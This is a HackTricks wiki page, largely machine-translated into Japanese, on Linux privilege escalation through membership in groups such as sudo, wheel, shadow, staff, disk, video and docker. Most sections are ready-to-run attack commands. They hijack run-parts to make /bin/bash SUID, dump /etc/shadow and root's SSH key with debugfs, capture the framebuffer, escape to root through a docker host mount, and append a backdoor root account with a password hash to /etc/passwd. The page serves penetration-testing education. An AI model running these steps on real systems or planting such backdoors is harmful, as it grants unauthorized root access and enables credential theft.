Interesting Groups - Linux Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Sudo/Admin Groups

PE - Method 1

時々、 デフォルトで（またはいくつかのソフトウェアが必要とするために） /etc/sudoers ファイル内にこれらの行のいくつかを見つけることができます：

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

これは、sudoまたはadminグループに属する任意のユーザーがsudoとして何でも実行できることを意味します。

この場合、rootになるには次のコマンドを実行するだけです:

sudo su

PE - Method 2

すべてのsuidバイナリを見つけ、バイナリPkexecがあるか確認します:

find / -perm -4000 2>/dev/null

もしバイナリ pkexec が SUID バイナリ であり、あなたが sudo または admin に属している場合、pkexec を使用して sudo としてバイナリを実行できる可能性があります。これは通常、これらが polkit ポリシー 内のグループだからです。このポリシーは基本的にどのグループが pkexec を使用できるかを特定します。次のコマンドで確認してください:

cat /etc/polkit-1/localauthority.conf.d/*

そこでは、どのグループがpkexecを実行することを許可されているか、そしてデフォルトでいくつかのLinuxディストロではsudoおよびadminグループが表示されるかを見つけることができます。

rootになるには、次のコマンドを実行できます:

pkexec "/bin/sh" #You will be prompted for your user password

もしpkexecを実行し、次のエラーが表示された場合：

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

GUIがないために接続されていないのではなく、権限がないからではありません。この問題の回避策はここにあります: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903。2つの異なるsshセッションが必要です：

session1

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

session2

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

時々、デフォルトで /etc/sudoers ファイル内にこの行を見つけることができます:

%wheel	ALL=(ALL:ALL) ALL

これは、wheelグループに属する任意のユーザーがsudoとして何でも実行できることを意味します。

この場合、rootになるには次のように実行するだけです:

sudo su

Shadow Group

shadow グループのユーザーは /etc/shadow ファイルを読むことができます:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

スタッフグループ

staff: ユーザーがルート権限を必要とせずにシステムにローカル変更を加えることを許可します（/usr/local）。/usr/local/bin内の実行可能ファイルは、任意のユーザーのPATH変数に含まれており、同じ名前の/binおよび/usr/bin内の実行可能ファイルを「上書き」する可能性があります。監視/セキュリティに関連する「adm」グループと比較してください。 [source]

debianディストリビューションでは、$PATH変数は、特権ユーザーであろうとなかろうと、/usr/local/が最優先で実行されることを示しています。

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

もし /usr/local のいくつかのプログラムをハイジャックできれば、簡単にルート権限を取得できます。

run-parts プログラムをハイジャックすることは、ルート権限を取得する簡単な方法です。なぜなら、ほとんどのプログラムは (crontab、sshログイン時など) run-parts を実行するからです。

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

または新しいsshセッションにログインしたとき。

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

エクスプロイト

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Disk Group

この特権はほぼrootアクセスと同等であり、マシン内のすべてのデータにアクセスできます。

Files:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

注意: debugfsを使用すると、ファイルを書き込むこともできます。例えば、/tmp/asd1.txtを/tmp/asd2.txtにコピーするには、次のようにします:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

しかし、rootが所有するファイル（例えば/etc/shadowや/etc/passwd）に書き込もうとすると、 "Permission denied" エラーが発生します。

Video Group

コマンド w を使用すると、システムにログインしているユーザーを見つけることができ、次のような出力が表示されます：

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1は、ユーザーyossiが物理的にマシンのターミナルにログインしていることを意味します。

videoグループは、画面出力を表示するアクセス権を持っています。基本的に、画面を観察することができます。そのためには、画面上の現在の画像を生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0に保存でき、この画面の解像度は/sys/class/graphics/fb0/virtual_sizeで見つけることができます。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

生の画像を開くには、GIMPを使用し、screen.rawファイルを選択し、ファイルタイプとしてRaw image dataを選択します：

次に、幅と高さを画面で使用されているものに変更し、異なる画像タイプを確認して（画面をより良く表示するものを選択します）：

ルートグループ

デフォルトでは、ルートグループのメンバーは、サービスの設定ファイルやライブラリファイル、または特権昇格に使用できるその他の興味深いものを変更するアクセス権を持っているようです...

ルートメンバーが変更できるファイルを確認する：

find / -group root -perm -g=w 2>/dev/null

Dockerグループ

ホストマシンのルートファイルシステムをインスタンスのボリュームにマウントできます。これにより、インスタンスが起動するとすぐにそのボリュームにchrootがロードされます。これにより、実質的にマシン上でroot権限を得ることができます。

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

最後に、以前の提案が気に入らない場合や、何らかの理由で機能していない場合（docker api firewall？）、ここで説明されているように、特権コンテナを実行してそこから脱出することを試みることができます：

Docker Security

dockerソケットに書き込み権限がある場合は、dockerソケットを悪用して特権を昇格させる方法に関するこの投稿を読む。

GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalationGitHub

Privilege escalation via Dockerchrisfosterelli

lxc/lxd グループ

Interesting Groups - Linux Privesc

Adm グループ

通常、adm グループのメンバーは、_ /var/log/_ 内にあるログファイルを読む権限を持っています。したがって、このグループ内のユーザーを侵害した場合は、ログを確認するべきです。

Auth グループ

OpenBSD内では、auth グループは通常、/etc/skey および /var/db/yubikey フォルダーに書き込むことができます。これらの権限は、以下のエクスプロイトを使用して特権を昇格させるために悪用される可能性があります：https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。

Previouseuid, ruid, suid Nextlxd/lxc Group - Privilege escalation

Last updated 6 days ago